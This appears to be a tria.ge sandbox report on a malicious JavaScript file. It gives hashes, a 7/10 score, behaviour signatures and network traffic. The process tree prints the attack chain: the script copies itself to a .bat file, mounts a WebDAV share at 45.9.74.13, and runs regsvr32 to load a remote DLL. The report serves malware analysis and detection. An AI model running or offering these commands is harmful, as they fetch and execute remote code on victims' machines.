Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

7

Static

static

1

2347325213...791.js

windows7-x64

3

2347325213...791.js

windows10-2004-x64

7

Analysis

  • max time kernel
    92s
  • max time network
    99s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/07/2024, 17:51 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2347325213288178791.js

  • Size

    5KB

  • MD5

    7b79ae18089412cd5788f57497135d0d

  • SHA1

    d992f7bb6d4b60c02ac4ab2d93abbd1965941dae

  • SHA256

    1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339

  • SHA512

    e62fe18930946ffe0286b815f32628edfd46611bad6df2ee803100f5918045de32a29ca6444480ffa90ce4d938b50b93ee0d6921fb33edd4934841af7b9fc743

  • SSDEEP

    48:Q3esJYM28VzZpav5VptCnHoxku43+qjJJdFd4xC40BMC3zI9jXodpTG89fdidTdT:QOrAVBHMkt7BEO98trGDmkMF

Score
7/10
execution

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2347325213288178791.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2347325213288178791.js" "C:\Users\Admin\\vrndqv.bat" && "C:\Users\Admin\\vrndqv.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3892
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\507.dll
          3⤵
            PID:1956

      Network

      • flag-us
        DNS
        133.32.126.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        133.32.126.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        g.bing.com
        Remote address:
        8.8.8.8:53
        Request
        g.bing.com
        IN A
        Response
        g.bing.com
        IN CNAME
        g-bing-com.dual-a-0034.a-msedge.net
        g-bing-com.dual-a-0034.a-msedge.net
        IN CNAME
        dual-a-0034.a-msedge.net
        dual-a-0034.a-msedge.net
        IN A
        13.107.21.237
        dual-a-0034.a-msedge.net
        IN A
        204.79.197.237
      • flag-us
        GET
        https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=
        Remote address:
        13.107.21.237:443
        Request
        GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid= HTTP/2.0
        host: g.bing.com
        accept-encoding: gzip, deflate
        user-agent: WindowsShellClient/9.0.40929.0 (Windows)
        Response
        HTTP/2.0 204
        cache-control: no-cache, must-revalidate
        pragma: no-cache
        expires: Fri, 01 Jan 1990 00:00:00 GMT
        set-cookie: MUID=3C16B7064E5F6F792296A3B04FE46EB0; domain=.bing.com; expires=Sat, 02-Aug-2025 17:52:21 GMT; path=/; SameSite=None; Secure; Priority=High;
        strict-transport-security: max-age=31536000; includeSubDomains; preload
        access-control-allow-origin: *
        x-cache: CONFIG_NOCACHE
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: FF4A2A63E1474ACAB27D578A9534FADA Ref B: LON04EDGE0913 Ref C: 2024-07-08T17:52:21Z
        date: Mon, 08 Jul 2024 17:52:21 GMT
      • flag-us
        GET
        https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=
        Remote address:
        13.107.21.237:443
        Request
        GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid= HTTP/2.0
        host: g.bing.com
        accept-encoding: gzip, deflate
        user-agent: WindowsShellClient/9.0.40929.0 (Windows)
        cookie: MUID=3C16B7064E5F6F792296A3B04FE46EB0
        Response
        HTTP/2.0 204
        cache-control: no-cache, must-revalidate
        pragma: no-cache
        expires: Fri, 01 Jan 1990 00:00:00 GMT
        set-cookie: MSPTC=R5qDzTL1fDK2chZOnnun5UD_Nz7cp44ZqLepMfhdeFw; domain=.bing.com; expires=Sat, 02-Aug-2025 17:52:21 GMT; path=/; Partitioned; secure; SameSite=None
        strict-transport-security: max-age=31536000; includeSubDomains; preload
        access-control-allow-origin: *
        x-cache: CONFIG_NOCACHE
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: 913AACDC14BA4AB1846C2EC1DAFE80EE Ref B: LON04EDGE0913 Ref C: 2024-07-08T17:52:21Z
        date: Mon, 08 Jul 2024 17:52:21 GMT
      • flag-us
        GET
        https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=
        Remote address:
        13.107.21.237:443
        Request
        GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid= HTTP/2.0
        host: g.bing.com
        accept-encoding: gzip, deflate
        user-agent: WindowsShellClient/9.0.40929.0 (Windows)
        cookie: MUID=3C16B7064E5F6F792296A3B04FE46EB0; MSPTC=R5qDzTL1fDK2chZOnnun5UD_Nz7cp44ZqLepMfhdeFw
        Response
        HTTP/2.0 204
        cache-control: no-cache, must-revalidate
        pragma: no-cache
        expires: Fri, 01 Jan 1990 00:00:00 GMT
        strict-transport-security: max-age=31536000; includeSubDomains; preload
        access-control-allow-origin: *
        x-cache: CONFIG_NOCACHE
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: 3E605E26EDAE48CCB21826470BEC2F19 Ref B: LON04EDGE0913 Ref C: 2024-07-08T17:52:21Z
        date: Mon, 08 Jul 2024 17:52:21 GMT
      • flag-us
        DNS
        26.35.223.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        26.35.223.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        45.56.20.217.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        45.56.20.217.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        237.21.107.13.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        237.21.107.13.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        81.144.22.2.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        81.144.22.2.in-addr.arpa
        IN PTR
        Response
        81.144.22.2.in-addr.arpa
        IN PTR
        a2-22-144-81deploystaticakamaitechnologiescom
      • flag-us
        DNS
        157.123.68.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        157.123.68.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        171.39.242.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        171.39.242.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        192.142.123.92.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        192.142.123.92.in-addr.arpa
        IN PTR
        Response
        192.142.123.92.in-addr.arpa
        IN PTR
        a92-123-142-192deploystaticakamaitechnologiescom
      • flag-us
        DNS
        73.144.22.2.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        73.144.22.2.in-addr.arpa
        IN PTR
        Response
        73.144.22.2.in-addr.arpa
        IN PTR
        a2-22-144-73deploystaticakamaitechnologiescom
      • flag-us
        DNS
        31.243.111.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        31.243.111.52.in-addr.arpa
        IN PTR
        Response
      • 13.107.21.237:443
        https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=
        tls, http2
        2.0kB
         9.3kB
         22
        19

        HTTP Request

        GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=

        HTTP Response

        204

        HTTP Request

        GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=

        HTTP Response

        204

        HTTP Request

        GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=

        HTTP Response

        204
      • 8.8.8.8:53
        133.32.126.40.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        133.32.126.40.in-addr.arpa

      • 8.8.8.8:53
        g.bing.com
        dns
        56 B
         151 B
         1
        1

        DNS Request

        g.bing.com

        DNS Response

        13.107.21.237
        204.79.197.237

      • 8.8.8.8:53
        26.35.223.20.in-addr.arpa
        dns
        71 B
         157 B
         1
        1

        DNS Request

        26.35.223.20.in-addr.arpa

      • 8.8.8.8:53
        45.56.20.217.in-addr.arpa
        dns
        71 B
         131 B
         1
        1

        DNS Request

        45.56.20.217.in-addr.arpa

      • 8.8.8.8:53
        237.21.107.13.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        237.21.107.13.in-addr.arpa

      • 8.8.8.8:53
        81.144.22.2.in-addr.arpa
        dns
        70 B
         133 B
         1
        1

        DNS Request

        81.144.22.2.in-addr.arpa

      • 8.8.8.8:53
        157.123.68.40.in-addr.arpa
        dns
        72 B
         146 B
         1
        1

        DNS Request

        157.123.68.40.in-addr.arpa

      • 8.8.8.8:53
        171.39.242.20.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        171.39.242.20.in-addr.arpa

      • 8.8.8.8:53
        192.142.123.92.in-addr.arpa
        dns
        73 B
         139 B
         1
        1

        DNS Request

        192.142.123.92.in-addr.arpa

      • 8.8.8.8:53
        73.144.22.2.in-addr.arpa
        dns
        70 B
         133 B
         1
        1

        DNS Request

        73.144.22.2.in-addr.arpa

      • 8.8.8.8:53
        31.243.111.52.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        31.243.111.52.in-addr.arpa

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\vrndqv.bat
        Filesize

        5KB

        MD5

        7b79ae18089412cd5788f57497135d0d

        SHA1

        d992f7bb6d4b60c02ac4ab2d93abbd1965941dae

        SHA256

        1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339

        SHA512

        e62fe18930946ffe0286b815f32628edfd46611bad6df2ee803100f5918045de32a29ca6444480ffa90ce4d938b50b93ee0d6921fb33edd4934841af7b9fc743

        Download Submit

      We care about your privacy.

      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.